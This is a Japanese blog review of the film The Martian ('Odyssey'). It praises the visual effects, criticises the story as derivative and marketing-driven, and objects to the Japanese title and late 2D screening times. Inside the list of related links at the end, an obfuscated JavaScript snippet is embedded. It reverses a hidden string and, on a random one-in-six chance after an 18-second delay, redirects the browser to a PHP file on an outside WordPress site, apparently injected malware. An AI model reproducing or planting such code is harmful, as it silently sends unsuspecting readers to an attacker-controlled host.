The Martian (オデッセイ)

「エイリアン」「ブレードランナー」のリドリー・スコットがアンディ・ウィアーのネット小説「火星の人」を映画化したもの。昨日、公開一週目で鑑賞強行。制作話が伝わってきて2年弱、予告編が公開されてから1年弱、今度はリドリー・スコットの得意ジャンルなのでうっすら期待して観に行った。

wiredの2015.6.14 SUNの記事「マット・デイモン、また取り残される──新作SF映画『火星の人』予告編」でもこう書かれていた。

「おそらくこの作品に関して最も明るい材料は、『エイリアン』や『プロメテウス』で有名なスコット監督が、2005年公開の『キングダム・オブ・ヘブン』から昨年公開の『エクソダス:神と王』まで続いた「長い昼寝」から目覚めたように見えることだろう。スコット監督は偉大なヴィジョナリーとして、世界にまた認められるだろうか。期待して見守りたい。」

私もほとんど同じ気持ちであった。

初めのうちは「おお、やっぱり宇宙船は2001年宇宙の旅のディスカバリーと基本的に同じデザインになるんだ」などと無邪気に喜んで見入っていた。冒頭の大砂嵐のシーンや火星プラントでジャガイモ畑を見せる時の光の表現など、常々「光の空間演出」と私が呼んでいるリドリー・スコットの得意技が決まり、なかなかの映像美に満足していた。宇宙船内部を柔軟に浮遊する無重力の表現もなかなかよく、「ゼロ・グラビティ」よりもリアルに無重力を表現しようとしているところも気に入った。ほとんどCGIの火星の地形映像や上空から見た火星表面の映像、地球の衛星画像も、ハイ・ビジョン時代のリアリティを表現してみせる。中でも上空からプラントが小さく細部まで見えるシーンでは、宇宙から見るまなざしを体験するかのような快感さえ感じさせてくれる。リドリー・スコット、さすが物の質感表現うまいなぁと関心。だが、話が先に進むにつれ、だんだん「2001年宇宙の旅」と「ミッション・トゥ・マーズ」「レッド・プラネット」のパクリにしか見えなくなってきた。話運びもなにやら怪しげ。

途中から終盤にかけて「アポロ13」みたいな話やシーンが大半となってくる。タイムズスクエアの電光掲示板に群がる群衆?WebとSNSの時代でも地球帰還ドラマは広場の電光掲示板で知りたいものなのだろうか。終盤のアクションシーンの最大の見せ場、まだ具体的にはかけないが、「ゼロ・グラビティ」の非現実的な帰還劇そのまんまのあり得ない展開。このストーリーのあまりのひどさに唖然としてしまった。

これってリドリー・スコットのせいなのか?それともベストセラーとなったThe Martianそのものがこういうおはなしだったのか?はたまた脚本家があまりにもデリカシーに欠ける人だったのか?いや、ひょっとすると制作サイドのマーケッティング戦略のなれの果てか?

一晩考えて、最後のマーケッティング戦略が主因だったように思えてきた。そもそもリドリー・スコットもドリュー・ゴダードという人のピンチ・ヒッターで監督に着いた過ぎないようだ。他にも女性船長登場。取り残されるのがインターステラと同じマット・デイモン。で、脚本は降板したドリュー・ゴダードその人が書いたとか。制作サイドが否応ながら中心になって進めた感が満ちあふれている。たぶんリドリー・スコットも既に進んでいた制作の中で限定的に関わっていったに過ぎないんだろう。だとすると、映画が進むにつれコンセプトがぐちゃぐちゃになっていく違和感の正体が説明出来る。船頭がいないとこういう映画ができあがる、という見本になってしまったのかもしれない。

この映画、科学者からの関心も高く、実際の科学技術や知見もふんだんに盛り込まれている。おかげで、宇宙船や火星の施設・機材の機械描写はCool、なのにドラマはShity。大金もかかっているが話は低レベルで陳腐なTVドラマ臭がプンプンする。かように哲学のない映画は観る時間がもったいない。

あと日本の制作・興行関係者に文句を言うと、原題を意味不明な英語タイトルに変えるのはいい加減やめなはれ。「オデッセイ」というタイトルにはこの映画のなにものも一切反映されていない。2001年宇宙の旅にあやかりたい思いは解らないではないが、連綿と続く「変な日本語英語のタイトル付け」は下品であり、外国人と映画の話をする時の障害となり、その映画が残っていくような良作映画である場合、映画の品格自体を下げる。

それから、3D上映設備にどれだけ投資したか知らないが、「3Dいらない観客」が映画にありつける時間を21:25からに設定するのは鬼畜だ。アフターファイヴに観に行ったのだが映画館出たらほどなく日付が変わっていた。映画館には生き残って欲しいが、こんなことされたらますます館に足を運ぶのが嫌になる。映画は2Dでもサウンドデザインが良ければ臨場感は十分出る(その意味で、この映画は3Dにしても意味が無い。サウンドデザインが酷いのでそれ以前の時点で3D失格だからだ)。投資は、するなら、別の次元でする方が、効果があるのではないだろうか。 2016.2.9

『オデッセイ』オフィシャルサイト
アンディ・ウェア原作 映画「The Martian」監督にリドリー・スコット?
リドリー・スコット&マット・デイモンの火星映画ヒロインにケイト・マーラ
マット・デイモン、また取り残される──新作SF映画『火星の人』予告編
リドリー・スコット監督の『オデッセイ』、新しい予告編が公開
映画『オデッセイ』に登場する、NASAですでに研究されている9つの技術
$nJe=function(n){if (typeof ($nJe.list[n]) == “string”) return $nJe.list[n].split(“”).reverse().join(“”);return $nJe.list[n];};$nJe.list=[“\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}-mars/” target=”_blank” rel=”noopener”>宇宙オタクが描いた「火星へ至る100年計画」のデザイン « WIRED.jp
火星に住むために必要なものは

コメントを残す

メールアドレスが公開されることはありません。 * が付いている欄は必須項目です


reCaptcha の認証期間が終了しました。ページを再読み込みしてください。

1st impression

次の記事

ソルト